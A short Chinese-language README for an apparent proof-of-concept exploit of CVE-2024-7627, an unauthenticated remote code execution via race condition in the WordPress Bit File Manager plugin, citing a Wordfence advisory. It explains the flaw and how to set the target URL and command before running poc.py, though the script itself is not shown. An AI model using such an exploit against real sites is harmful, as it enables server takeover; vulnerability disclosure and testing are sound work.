此概念验证（PoC）脚本用于WordPress插件Bit File Manager版本6.0至6.5.5中通过竞态条件导致的未认证远程代码执行漏洞（CVE-2024-7627）。
描述：
WordPress的Bit File Manager插件在6.0至6.5.5版本中存在远程代码执行漏洞，通过'checkSyntax'函数实现。这是因为在执行文件验证之前将临时文件写入公开可访问的目录。如果管理员允许访客用户具有读取权限，则未认证的攻击者可能因此在服务器上执行代码。（源自https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-manager/bit-file-manager-60-655-unauthenticated-remote-code-execution-via-race-condition）

file-manager 必须已由管理员设置更新Python脚本 poc.py 中的 targetBaseUrl、fileManagerPostPath 和/或 commandToExecute 为你期望的值。然后运行 python3 poc.py 来执行PoC脚本。
示例输出：
└> python3 poc.py
